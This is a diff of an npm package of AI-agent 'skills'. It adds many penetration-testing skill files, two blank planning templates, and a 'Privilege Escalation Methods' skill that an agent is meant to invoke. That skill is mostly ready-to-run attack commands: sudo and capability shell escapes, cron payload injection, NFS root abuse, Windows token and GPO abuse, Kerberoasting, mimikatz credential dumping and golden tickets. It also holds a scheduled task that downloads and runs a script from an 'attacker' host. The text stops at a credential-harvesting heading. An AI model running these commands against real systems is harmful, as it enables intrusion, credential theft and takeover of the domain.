@namch/agent-assistant 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +114 -522
- package/agents/backend-engineer.md +0 -8
- package/agents/brainstormer.md +0 -6
- package/agents/business-analyst.md +0 -5
- package/agents/database-architect.md +0 -6
- package/agents/debugger.md +0 -6
- package/agents/designer.md +0 -5
- package/agents/devops-engineer.md +0 -7
- package/agents/docs-manager.md +0 -6
- package/agents/frontend-engineer.md +0 -7
- package/agents/game-engineer.md +0 -7
- package/agents/mobile-engineer.md +0 -7
- package/agents/performance-engineer.md +0 -7
- package/agents/planner.md +0 -6
- package/agents/project-manager.md +0 -6
- package/agents/researcher.md +0 -5
- package/agents/reviewer.md +0 -6
- package/agents/scouter.md +0 -6
- package/agents/security-engineer.md +0 -7
- package/agents/tech-lead.md +0 -7
- package/agents/tester.md +0 -5
- package/cli/README.md +19 -10
- package/documents/business/business-features.md +1 -1
- package/documents/business/business-prd.md +4 -4
- package/documents/knowledge-architecture.md +1 -1
- package/documents/knowledge-domain.md +1 -1
- package/documents/knowledge-overview.md +14 -29
- package/documents/knowledge-source-base.md +14 -14
- package/package.json +1 -1
- package/rules/QUICK-REFERENCE.md +4 -1
- package/rules/SKILL-DISCOVERY.md +37 -14
- package/skills/active-directory-attacks/SKILL.md +383 -0
- package/skills/active-directory-attacks/references/advanced-attacks.md +382 -0
- package/skills/agent-evaluation/SKILL.md +64 -0
- package/skills/agent-memory-mcp/SKILL.md +82 -0
- package/skills/agent-memory-systems/SKILL.md +67 -0
- package/skills/agent-tool-builder/SKILL.md +53 -0
- package/skills/ai-agents-architect/SKILL.md +90 -0
- package/skills/ai-product/SKILL.md +54 -0
- package/skills/ai-wrapper-product/SKILL.md +273 -0
- package/skills/api-documentation-generator/SKILL.md +484 -0
- package/skills/api-fuzzing-bug-bounty/SKILL.md +433 -0
- package/skills/api-security-best-practices/SKILL.md +907 -0
- package/skills/autonomous-agent-patterns/SKILL.md +761 -0
- package/skills/autonomous-agents/SKILL.md +68 -0
- package/skills/aws-penetration-testing/SKILL.md +405 -0
- package/skills/aws-penetration-testing/references/advanced-aws-pentesting.md +469 -0
- package/skills/azure-functions/SKILL.md +42 -0
- package/skills/backend-dev-guidelines/SKILL.md +342 -0
- package/skills/backend-dev-guidelines/resources/architecture-overview.md +451 -0
- package/skills/backend-dev-guidelines/resources/async-and-errors.md +307 -0
- package/skills/backend-dev-guidelines/resources/complete-examples.md +638 -0
- package/skills/backend-dev-guidelines/resources/configuration.md +275 -0
- package/skills/backend-dev-guidelines/resources/database-patterns.md +224 -0
- package/skills/backend-dev-guidelines/resources/middleware-guide.md +213 -0
- package/skills/backend-dev-guidelines/resources/routing-and-controllers.md +756 -0
- package/skills/backend-dev-guidelines/resources/sentry-and-monitoring.md +336 -0
- package/skills/backend-dev-guidelines/resources/services-and-repositories.md +789 -0
- package/skills/backend-dev-guidelines/resources/testing-guide.md +235 -0
- package/skills/backend-dev-guidelines/resources/validation-patterns.md +754 -0
- package/skills/broken-authentication/SKILL.md +476 -0
- package/skills/bullmq-specialist/SKILL.md +57 -0
- package/skills/bun-development/SKILL.md +691 -0
- package/skills/burp-suite-testing/SKILL.md +380 -0
- package/skills/cloud-penetration-testing/SKILL.md +501 -0
- package/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md +318 -0
- package/skills/computer-use-agents/SKILL.md +315 -0
- package/skills/content-creator/SKILL.md +248 -0
- package/skills/content-creator/assets/content_calendar_template.md +99 -0
- package/skills/content-creator/references/brand_guidelines.md +199 -0
- package/skills/content-creator/references/content_frameworks.md +534 -0
- package/skills/content-creator/references/social_media_optimization.md +317 -0
- package/skills/content-creator/scripts/brand_voice_analyzer.py +185 -0
- package/skills/content-creator/scripts/seo_optimizer.py +419 -0
- package/skills/context-window-management/SKILL.md +53 -0
- package/skills/conversation-memory/SKILL.md +61 -0
- package/skills/copy-editing/SKILL.md +439 -0
- package/skills/copywriting/SKILL.md +225 -0
- package/skills/crewai/SKILL.md +243 -0
- package/skills/discord-bot-architect/SKILL.md +277 -0
- package/skills/dispatching-parallel-agents/SKILL.md +180 -0
- package/skills/email-sequence/SKILL.md +925 -0
- package/skills/email-systems/SKILL.md +54 -0
- package/skills/ethical-hacking-methodology/SKILL.md +466 -0
- package/skills/executing-plans/SKILL.md +76 -0
- package/skills/file-path-traversal/SKILL.md +486 -0
- package/skills/finishing-a-development-branch/SKILL.md +200 -0
- package/skills/frontend-dev-guidelines/SKILL.md +359 -0
- package/skills/frontend-dev-guidelines/resources/common-patterns.md +331 -0
- package/skills/frontend-dev-guidelines/resources/complete-examples.md +872 -0
- package/skills/frontend-dev-guidelines/resources/component-patterns.md +502 -0
- package/skills/frontend-dev-guidelines/resources/data-fetching.md +767 -0
- package/skills/frontend-dev-guidelines/resources/file-organization.md +502 -0
- package/skills/frontend-dev-guidelines/resources/loading-and-error-states.md +501 -0
- package/skills/frontend-dev-guidelines/resources/performance.md +406 -0
- package/skills/frontend-dev-guidelines/resources/routing-guide.md +364 -0
- package/skills/frontend-dev-guidelines/resources/styling-guide.md +428 -0
- package/skills/frontend-dev-guidelines/resources/typescript-standards.md +418 -0
- package/skills/gcp-cloud-run/SKILL.md +288 -0
- package/skills/git-pushing/SKILL.md +33 -0
- package/skills/git-pushing/scripts/smart_commit.sh +19 -0
- package/skills/github-workflow-automation/SKILL.md +846 -0
- package/skills/html-injection-testing/SKILL.md +498 -0
- package/skills/idor-testing/SKILL.md +442 -0
- package/skills/inngest/SKILL.md +55 -0
- package/skills/javascript-mastery/SKILL.md +645 -0
- package/skills/kaizen/SKILL.md +730 -0
- package/skills/langfuse/SKILL.md +238 -0
- package/skills/langgraph/SKILL.md +287 -0
- package/skills/linux-privilege-escalation/SKILL.md +504 -0
- package/skills/llm-app-patterns/SKILL.md +760 -0
- package/skills/metasploit-framework/SKILL.md +478 -0
- package/skills/multi-agent-brainstorming/SKILL.md +256 -0
- package/skills/neon-postgres/SKILL.md +56 -0
- package/skills/nextjs-supabase-auth/SKILL.md +56 -0
- package/skills/nosql-expert/SKILL.md +111 -0
- package/skills/pentest-checklist/SKILL.md +334 -0
- package/skills/pentest-commands/SKILL.md +438 -0
- package/skills/plaid-fintech/SKILL.md +50 -0
- package/skills/planning-with-files/SKILL.md +211 -0
- package/skills/planning-with-files/examples.md +202 -0
- package/skills/planning-with-files/reference.md +218 -0
- package/skills/planning-with-files/scripts/check-complete.sh +44 -0
- package/skills/planning-with-files/scripts/init-session.sh +120 -0
- package/skills/planning-with-files/templates/findings.md +95 -0
- package/skills/planning-with-files/templates/progress.md +114 -0
- package/skills/planning-with-files/templates/task_plan.md +132 -0
- package/skills/privilege-escalation-methods/SKILL.md +333 -0
- package/skills/production-code-audit/SKILL.md +540 -0
- package/skills/prompt-caching/SKILL.md +61 -0
- package/skills/prompt-engineering/SKILL.md +171 -0
- package/skills/prompt-library/SKILL.md +322 -0
- package/skills/rag-engineer/SKILL.md +90 -0
- package/skills/rag-implementation/SKILL.md +63 -0
- package/skills/react-ui-patterns/SKILL.md +289 -0
- package/skills/red-team-tools/SKILL.md +310 -0
- package/skills/scanning-tools/SKILL.md +589 -0
- package/skills/shodan-reconnaissance/SKILL.md +503 -0
- package/skills/slack-bot-builder/SKILL.md +264 -0
- package/skills/smtp-penetration-testing/SKILL.md +500 -0
- package/skills/social-content/SKILL.md +807 -0
- package/skills/software-architecture/SKILL.md +75 -0
- package/skills/sql-injection-testing/SKILL.md +448 -0
- package/skills/sqlmap-database-pentesting/SKILL.md +400 -0
- package/skills/ssh-penetration-testing/SKILL.md +488 -0
- package/skills/stripe-integration/SKILL.md +69 -0
- package/skills/subagent-driven-development/SKILL.md +240 -0
- package/skills/subagent-driven-development/code-quality-reviewer-prompt.md +20 -0
- package/skills/subagent-driven-development/implementer-prompt.md +78 -0
- package/skills/subagent-driven-development/spec-reviewer-prompt.md +61 -0
- package/skills/tavily-web/SKILL.md +36 -0
- package/skills/telegram-bot-builder/SKILL.md +254 -0
- package/skills/test-driven-development/SKILL.md +371 -0
- package/skills/test-driven-development/testing-anti-patterns.md +299 -0
- package/skills/test-fixing/SKILL.md +119 -0
- package/skills/top-web-vulnerabilities/SKILL.md +543 -0
- package/skills/trigger-dev/SKILL.md +67 -0
- package/skills/twilio-communications/SKILL.md +295 -0
- package/skills/upstash-qstash/SKILL.md +68 -0
- package/skills/verification-before-completion/SKILL.md +139 -0
- package/skills/voice-agents/SKILL.md +68 -0
- package/skills/voice-ai-development/SKILL.md +302 -0
- package/skills/windows-privilege-escalation/SKILL.md +496 -0
- package/skills/wireshark-analysis/SKILL.md +497 -0
- package/skills/wordpress-penetration-testing/SKILL.md +485 -0
- package/skills/workflow-automation/SKILL.md +68 -0
- package/skills/xss-html-injection/SKILL.md +499 -0
- package/skills/zapier-make-patterns/SKILL.md +67 -0
|
@@ -0,0 +1,114 @@
|
|
|
1
|
+
# Progress Log
|
|
2
|
+
<!--
|
|
3
|
+
WHAT: Your session log - a chronological record of what you did, when, and what happened.
|
|
4
|
+
WHY: Answers "What have I done?" in the 5-Question Reboot Test. Helps you resume after breaks.
|
|
5
|
+
WHEN: Update after completing each phase or encountering errors. More detailed than task_plan.md.
|
|
6
|
+
-->
|
|
7
|
+
|
|
8
|
+
## Session: [DATE]
|
|
9
|
+
<!--
|
|
10
|
+
WHAT: The date of this work session.
|
|
11
|
+
WHY: Helps track when work happened, useful for resuming after time gaps.
|
|
12
|
+
EXAMPLE: 2026-01-15
|
|
13
|
+
-->
|
|
14
|
+
|
|
15
|
+
### Phase 1: [Title]
|
|
16
|
+
<!--
|
|
17
|
+
WHAT: Detailed log of actions taken during this phase.
|
|
18
|
+
WHY: Provides context for what was done, making it easier to resume or debug.
|
|
19
|
+
WHEN: Update as you work through the phase, or at least when you complete it.
|
|
20
|
+
-->
|
|
21
|
+
- **Status:** in_progress
|
|
22
|
+
- **Started:** [timestamp]
|
|
23
|
+
<!--
|
|
24
|
+
STATUS: Same as task_plan.md (pending, in_progress, complete)
|
|
25
|
+
TIMESTAMP: When you started this phase (e.g., "2026-01-15 10:00")
|
|
26
|
+
-->
|
|
27
|
+
- Actions taken:
|
|
28
|
+
<!--
|
|
29
|
+
WHAT: List of specific actions you performed.
|
|
30
|
+
EXAMPLE:
|
|
31
|
+
- Created todo.py with basic structure
|
|
32
|
+
- Implemented add functionality
|
|
33
|
+
- Fixed FileNotFoundError
|
|
34
|
+
-->
|
|
35
|
+
-
|
|
36
|
+
- Files created/modified:
|
|
37
|
+
<!--
|
|
38
|
+
WHAT: Which files you created or changed.
|
|
39
|
+
WHY: Quick reference for what was touched. Helps with debugging and review.
|
|
40
|
+
EXAMPLE:
|
|
41
|
+
- todo.py (created)
|
|
42
|
+
- todos.json (created by app)
|
|
43
|
+
- task_plan.md (updated)
|
|
44
|
+
-->
|
|
45
|
+
-
|
|
46
|
+
|
|
47
|
+
### Phase 2: [Title]
|
|
48
|
+
<!--
|
|
49
|
+
WHAT: Same structure as Phase 1, for the next phase.
|
|
50
|
+
WHY: Keep a separate log entry for each phase to track progress clearly.
|
|
51
|
+
-->
|
|
52
|
+
- **Status:** pending
|
|
53
|
+
- Actions taken:
|
|
54
|
+
-
|
|
55
|
+
- Files created/modified:
|
|
56
|
+
-
|
|
57
|
+
|
|
58
|
+
## Test Results
|
|
59
|
+
<!--
|
|
60
|
+
WHAT: Table of tests you ran, what you expected, what actually happened.
|
|
61
|
+
WHY: Documents verification of functionality. Helps catch regressions.
|
|
62
|
+
WHEN: Update as you test features, especially during Phase 4 (Testing & Verification).
|
|
63
|
+
EXAMPLE:
|
|
64
|
+
| Add task | python todo.py add "Buy milk" | Task added | Task added successfully | ✓ |
|
|
65
|
+
| List tasks | python todo.py list | Shows all tasks | Shows all tasks | ✓ |
|
|
66
|
+
-->
|
|
67
|
+
| Test | Input | Expected | Actual | Status |
|
|
68
|
+
|------|-------|----------|--------|--------|
|
|
69
|
+
| | | | | |
|
|
70
|
+
|
|
71
|
+
## Error Log
|
|
72
|
+
<!--
|
|
73
|
+
WHAT: Detailed log of every error encountered, with timestamps and resolution attempts.
|
|
74
|
+
WHY: More detailed than task_plan.md's error table. Helps you learn from mistakes.
|
|
75
|
+
WHEN: Add immediately when an error occurs, even if you fix it quickly.
|
|
76
|
+
EXAMPLE:
|
|
77
|
+
| 2026-01-15 10:35 | FileNotFoundError | 1 | Added file existence check |
|
|
78
|
+
| 2026-01-15 10:37 | JSONDecodeError | 2 | Added empty file handling |
|
|
79
|
+
-->
|
|
80
|
+
<!-- Keep ALL errors - they help avoid repetition -->
|
|
81
|
+
| Timestamp | Error | Attempt | Resolution |
|
|
82
|
+
|-----------|-------|---------|------------|
|
|
83
|
+
| | | 1 | |
|
|
84
|
+
|
|
85
|
+
## 5-Question Reboot Check
|
|
86
|
+
<!--
|
|
87
|
+
WHAT: Five questions that verify your context is solid. If you can answer these, you're on track.
|
|
88
|
+
WHY: This is the "reboot test" - if you can answer all 5, you can resume work effectively.
|
|
89
|
+
WHEN: Update periodically, especially when resuming after a break or context reset.
|
|
90
|
+
|
|
91
|
+
THE 5 QUESTIONS:
|
|
92
|
+
1. Where am I? → Current phase in task_plan.md
|
|
93
|
+
2. Where am I going? → Remaining phases
|
|
94
|
+
3. What's the goal? → Goal statement in task_plan.md
|
|
95
|
+
4. What have I learned? → See findings.md
|
|
96
|
+
5. What have I done? → See progress.md (this file)
|
|
97
|
+
-->
|
|
98
|
+
<!-- If you can answer these, context is solid -->
|
|
99
|
+
| Question | Answer |
|
|
100
|
+
|----------|--------|
|
|
101
|
+
| Where am I? | Phase X |
|
|
102
|
+
| Where am I going? | Remaining phases |
|
|
103
|
+
| What's the goal? | [goal statement] |
|
|
104
|
+
| What have I learned? | See findings.md |
|
|
105
|
+
| What have I done? | See above |
|
|
106
|
+
|
|
107
|
+
---
|
|
108
|
+
<!--
|
|
109
|
+
REMINDER:
|
|
110
|
+
- Update after completing each phase or encountering errors
|
|
111
|
+
- Be detailed - this is your "what happened" log
|
|
112
|
+
- Include timestamps for errors to track when issues occurred
|
|
113
|
+
-->
|
|
114
|
+
*Update after completing each phase or encountering errors*
|
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
# Task Plan: [Brief Description]
|
|
2
|
+
<!--
|
|
3
|
+
WHAT: This is your roadmap for the entire task. Think of it as your "working memory on disk."
|
|
4
|
+
WHY: After 50+ tool calls, your original goals can get forgotten. This file keeps them fresh.
|
|
5
|
+
WHEN: Create this FIRST, before starting any work. Update after each phase completes.
|
|
6
|
+
-->
|
|
7
|
+
|
|
8
|
+
## Goal
|
|
9
|
+
<!--
|
|
10
|
+
WHAT: One clear sentence describing what you're trying to achieve.
|
|
11
|
+
WHY: This is your north star. Re-reading this keeps you focused on the end state.
|
|
12
|
+
EXAMPLE: "Create a Python CLI todo app with add, list, and delete functionality."
|
|
13
|
+
-->
|
|
14
|
+
[One sentence describing the end state]
|
|
15
|
+
|
|
16
|
+
## Current Phase
|
|
17
|
+
<!--
|
|
18
|
+
WHAT: Which phase you're currently working on (e.g., "Phase 1", "Phase 3").
|
|
19
|
+
WHY: Quick reference for where you are in the task. Update this as you progress.
|
|
20
|
+
-->
|
|
21
|
+
Phase 1
|
|
22
|
+
|
|
23
|
+
## Phases
|
|
24
|
+
<!--
|
|
25
|
+
WHAT: Break your task into 3-7 logical phases. Each phase should be completable.
|
|
26
|
+
WHY: Breaking work into phases prevents overwhelm and makes progress visible.
|
|
27
|
+
WHEN: Update status after completing each phase: pending → in_progress → complete
|
|
28
|
+
-->
|
|
29
|
+
|
|
30
|
+
### Phase 1: Requirements & Discovery
|
|
31
|
+
<!--
|
|
32
|
+
WHAT: Understand what needs to be done and gather initial information.
|
|
33
|
+
WHY: Starting without understanding leads to wasted effort. This phase prevents that.
|
|
34
|
+
-->
|
|
35
|
+
- [ ] Understand user intent
|
|
36
|
+
- [ ] Identify constraints and requirements
|
|
37
|
+
- [ ] Document findings in findings.md
|
|
38
|
+
- **Status:** in_progress
|
|
39
|
+
<!--
|
|
40
|
+
STATUS VALUES:
|
|
41
|
+
- pending: Not started yet
|
|
42
|
+
- in_progress: Currently working on this
|
|
43
|
+
- complete: Finished this phase
|
|
44
|
+
-->
|
|
45
|
+
|
|
46
|
+
### Phase 2: Planning & Structure
|
|
47
|
+
<!--
|
|
48
|
+
WHAT: Decide how you'll approach the problem and what structure you'll use.
|
|
49
|
+
WHY: Good planning prevents rework. Document decisions so you remember why you chose them.
|
|
50
|
+
-->
|
|
51
|
+
- [ ] Define technical approach
|
|
52
|
+
- [ ] Create project structure if needed
|
|
53
|
+
- [ ] Document decisions with rationale
|
|
54
|
+
- **Status:** pending
|
|
55
|
+
|
|
56
|
+
### Phase 3: Implementation
|
|
57
|
+
<!--
|
|
58
|
+
WHAT: Actually build/create/write the solution.
|
|
59
|
+
WHY: This is where the work happens. Break into smaller sub-tasks if needed.
|
|
60
|
+
-->
|
|
61
|
+
- [ ] Execute the plan step by step
|
|
62
|
+
- [ ] Write code to files before executing
|
|
63
|
+
- [ ] Test incrementally
|
|
64
|
+
- **Status:** pending
|
|
65
|
+
|
|
66
|
+
### Phase 4: Testing & Verification
|
|
67
|
+
<!--
|
|
68
|
+
WHAT: Verify everything works and meets requirements.
|
|
69
|
+
WHY: Catching issues early saves time. Document test results in progress.md.
|
|
70
|
+
-->
|
|
71
|
+
- [ ] Verify all requirements met
|
|
72
|
+
- [ ] Document test results in progress.md
|
|
73
|
+
- [ ] Fix any issues found
|
|
74
|
+
- **Status:** pending
|
|
75
|
+
|
|
76
|
+
### Phase 5: Delivery
|
|
77
|
+
<!--
|
|
78
|
+
WHAT: Final review and handoff to user.
|
|
79
|
+
WHY: Ensures nothing is forgotten and deliverables are complete.
|
|
80
|
+
-->
|
|
81
|
+
- [ ] Review all output files
|
|
82
|
+
- [ ] Ensure deliverables are complete
|
|
83
|
+
- [ ] Deliver to user
|
|
84
|
+
- **Status:** pending
|
|
85
|
+
|
|
86
|
+
## Key Questions
|
|
87
|
+
<!--
|
|
88
|
+
WHAT: Important questions you need to answer during the task.
|
|
89
|
+
WHY: These guide your research and decision-making. Answer them as you go.
|
|
90
|
+
EXAMPLE:
|
|
91
|
+
1. Should tasks persist between sessions? (Yes - need file storage)
|
|
92
|
+
2. What format for storing tasks? (JSON file)
|
|
93
|
+
-->
|
|
94
|
+
1. [Question to answer]
|
|
95
|
+
2. [Question to answer]
|
|
96
|
+
|
|
97
|
+
## Decisions Made
|
|
98
|
+
<!--
|
|
99
|
+
WHAT: Technical and design decisions you've made, with the reasoning behind them.
|
|
100
|
+
WHY: You'll forget why you made choices. This table helps you remember and justify decisions.
|
|
101
|
+
WHEN: Update whenever you make a significant choice (technology, approach, structure).
|
|
102
|
+
EXAMPLE:
|
|
103
|
+
| Use JSON for storage | Simple, human-readable, built-in Python support |
|
|
104
|
+
-->
|
|
105
|
+
| Decision | Rationale |
|
|
106
|
+
|----------|-----------|
|
|
107
|
+
| | |
|
|
108
|
+
|
|
109
|
+
## Errors Encountered
|
|
110
|
+
<!--
|
|
111
|
+
WHAT: Every error you encounter, what attempt number it was, and how you resolved it.
|
|
112
|
+
WHY: Logging errors prevents repeating the same mistakes. This is critical for learning.
|
|
113
|
+
WHEN: Add immediately when an error occurs, even if you fix it quickly.
|
|
114
|
+
EXAMPLE:
|
|
115
|
+
| FileNotFoundError | 1 | Check if file exists, create empty list if not |
|
|
116
|
+
| JSONDecodeError | 2 | Handle empty file case explicitly |
|
|
117
|
+
-->
|
|
118
|
+
| Error | Attempt | Resolution |
|
|
119
|
+
|-------|---------|------------|
|
|
120
|
+
| | 1 | |
|
|
121
|
+
|
|
122
|
+
## Notes
|
|
123
|
+
<!--
|
|
124
|
+
REMINDERS:
|
|
125
|
+
- Update phase status as you progress: pending → in_progress → complete
|
|
126
|
+
- Re-read this plan before major decisions (attention manipulation)
|
|
127
|
+
- Log ALL errors - they help avoid repetition
|
|
128
|
+
- Never repeat a failed action - mutate your approach instead
|
|
129
|
+
-->
|
|
130
|
+
- Update phase status as you progress: pending → in_progress → complete
|
|
131
|
+
- Re-read this plan before major decisions (attention manipulation)
|
|
132
|
+
- Log ALL errors - they help avoid repetition
|
|
@@ -0,0 +1,333 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: Privilege Escalation Methods
|
|
3
|
+
description: This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.
|
|
4
|
+
metadata:
|
|
5
|
+
author: zebbern
|
|
6
|
+
version: "1.1"
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# Privilege Escalation Methods
|
|
10
|
+
|
|
11
|
+
## Purpose
|
|
12
|
+
|
|
13
|
+
Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.
|
|
14
|
+
|
|
15
|
+
## Inputs/Prerequisites
|
|
16
|
+
|
|
17
|
+
- Initial low-privilege shell access on target system
|
|
18
|
+
- Kali Linux or penetration testing distribution
|
|
19
|
+
- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
|
|
20
|
+
- Understanding of Windows/Linux privilege models
|
|
21
|
+
- For AD attacks: Domain user credentials and network access to DC
|
|
22
|
+
|
|
23
|
+
## Outputs/Deliverables
|
|
24
|
+
|
|
25
|
+
- Root or Administrator shell access
|
|
26
|
+
- Extracted credentials and hashes
|
|
27
|
+
- Persistent access mechanisms
|
|
28
|
+
- Domain compromise (for AD environments)
|
|
29
|
+
|
|
30
|
+
---
|
|
31
|
+
|
|
32
|
+
## Core Techniques
|
|
33
|
+
|
|
34
|
+
### Linux Privilege Escalation
|
|
35
|
+
|
|
36
|
+
#### 1. Abusing Sudo Binaries
|
|
37
|
+
|
|
38
|
+
Exploit misconfigured sudo permissions using GTFOBins techniques:
|
|
39
|
+
|
|
40
|
+
```bash
|
|
41
|
+
# Check sudo permissions
|
|
42
|
+
sudo -l
|
|
43
|
+
|
|
44
|
+
# Exploit common binaries
|
|
45
|
+
sudo vim -c ':!/bin/bash'
|
|
46
|
+
sudo find /etc/passwd -exec /bin/bash \;
|
|
47
|
+
sudo awk 'BEGIN {system("/bin/bash")}'
|
|
48
|
+
sudo python -c 'import pty;pty.spawn("/bin/bash")'
|
|
49
|
+
sudo perl -e 'exec "/bin/bash";'
|
|
50
|
+
sudo less /etc/hosts # then type: !bash
|
|
51
|
+
sudo man man # then type: !bash
|
|
52
|
+
sudo env /bin/bash
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
#### 2. Abusing Scheduled Tasks (Cron)
|
|
56
|
+
|
|
57
|
+
```bash
|
|
58
|
+
# Find writable cron scripts
|
|
59
|
+
ls -la /etc/cron*
|
|
60
|
+
cat /etc/crontab
|
|
61
|
+
|
|
62
|
+
# Inject payload into writable script
|
|
63
|
+
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
|
|
64
|
+
chmod +x /home/user/systemupdate.sh
|
|
65
|
+
|
|
66
|
+
# Wait for execution, then:
|
|
67
|
+
/bin/bash -p
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
#### 3. Abusing Capabilities
|
|
71
|
+
|
|
72
|
+
```bash
|
|
73
|
+
# Find binaries with capabilities
|
|
74
|
+
getcap -r / 2>/dev/null
|
|
75
|
+
|
|
76
|
+
# Python with cap_setuid
|
|
77
|
+
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
|
|
78
|
+
|
|
79
|
+
# Perl with cap_setuid
|
|
80
|
+
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
|
|
81
|
+
|
|
82
|
+
# Tar with cap_dac_read_search (read any file)
|
|
83
|
+
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
|
|
84
|
+
/usr/bin/tar -xvf key.tar
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
#### 4. NFS Root Squashing
|
|
88
|
+
|
|
89
|
+
```bash
|
|
90
|
+
# Check for NFS shares
|
|
91
|
+
showmount -e <victim_ip>
|
|
92
|
+
|
|
93
|
+
# Mount and exploit no_root_squash
|
|
94
|
+
mkdir /tmp/mount
|
|
95
|
+
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
|
|
96
|
+
cd /tmp/mount
|
|
97
|
+
cp /bin/bash .
|
|
98
|
+
chmod +s bash
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
#### 5. MySQL Running as Root
|
|
102
|
+
|
|
103
|
+
```bash
|
|
104
|
+
# If MySQL runs as root
|
|
105
|
+
mysql -u root -p
|
|
106
|
+
\! chmod +s /bin/bash
|
|
107
|
+
exit
|
|
108
|
+
/bin/bash -p
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
---
|
|
112
|
+
|
|
113
|
+
### Windows Privilege Escalation
|
|
114
|
+
|
|
115
|
+
#### 1. Token Impersonation
|
|
116
|
+
|
|
117
|
+
```powershell
|
|
118
|
+
# Using SweetPotato (SeImpersonatePrivilege)
|
|
119
|
+
execute-assembly sweetpotato.exe -p beacon.exe
|
|
120
|
+
|
|
121
|
+
# Using SharpImpersonation
|
|
122
|
+
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
#### 2. Service Abuse
|
|
126
|
+
|
|
127
|
+
```powershell
|
|
128
|
+
# Using PowerUp
|
|
129
|
+
. .\PowerUp.ps1
|
|
130
|
+
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
|
|
131
|
+
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
#### 3. Abusing SeBackupPrivilege
|
|
135
|
+
|
|
136
|
+
```powershell
|
|
137
|
+
import-module .\SeBackupPrivilegeUtils.dll
|
|
138
|
+
import-module .\SeBackupPrivilegeCmdLets.dll
|
|
139
|
+
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
#### 4. Abusing SeLoadDriverPrivilege
|
|
143
|
+
|
|
144
|
+
```powershell
|
|
145
|
+
# Load vulnerable Capcom driver
|
|
146
|
+
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
|
|
147
|
+
.\ExploitCapcom.exe
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
#### 5. Abusing GPO
|
|
151
|
+
|
|
152
|
+
```powershell
|
|
153
|
+
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
|
|
154
|
+
--Author DOMAIN\<USER> --Command "cmd.exe" `
|
|
155
|
+
--Arguments "/c net user Administrator Password!@# /domain" `
|
|
156
|
+
--GPOName "ADDITIONAL DC CONFIGURATION"
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
### Active Directory Attacks
|
|
162
|
+
|
|
163
|
+
#### 1. Kerberoasting
|
|
164
|
+
|
|
165
|
+
```bash
|
|
166
|
+
# Using Impacket
|
|
167
|
+
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
|
|
168
|
+
|
|
169
|
+
# Using CrackMapExec
|
|
170
|
+
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
#### 2. AS-REP Roasting
|
|
174
|
+
|
|
175
|
+
```powershell
|
|
176
|
+
.\Rubeus.exe asreproast
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
#### 3. Golden Ticket
|
|
180
|
+
|
|
181
|
+
```powershell
|
|
182
|
+
# DCSync to get krbtgt hash
|
|
183
|
+
mimikatz# lsadump::dcsync /user:krbtgt
|
|
184
|
+
|
|
185
|
+
# Create golden ticket
|
|
186
|
+
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
|
|
187
|
+
/sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
#### 4. Pass-the-Ticket
|
|
191
|
+
|
|
192
|
+
```powershell
|
|
193
|
+
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
|
|
194
|
+
klist # Verify ticket
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
#### 5. Golden Ticket with Scheduled Tasks
|
|
198
|
+
|
|
199
|
+
```powershell
|
|
200
|
+
# 1. Elevate and dump credentials
|
|
201
|
+
mimikatz# token::elevate
|
|
202
|
+
mimikatz# vault::cred /patch
|
|
203
|
+
mimikatz# lsadump::lsa /patch
|
|
204
|
+
|
|
205
|
+
# 2. Create golden ticket
|
|
206
|
+
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
|
|
207
|
+
/domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi
|
|
208
|
+
|
|
209
|
+
# 3. Create scheduled task
|
|
210
|
+
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
|
|
211
|
+
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
|
|
212
|
+
schtasks /run /s DOMAIN /TN "enterprise"
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
---
|
|
216
|
+
|
|
217
|
+
### Credential Harvesting
|
|
218
|
+
|
|
219
|
+
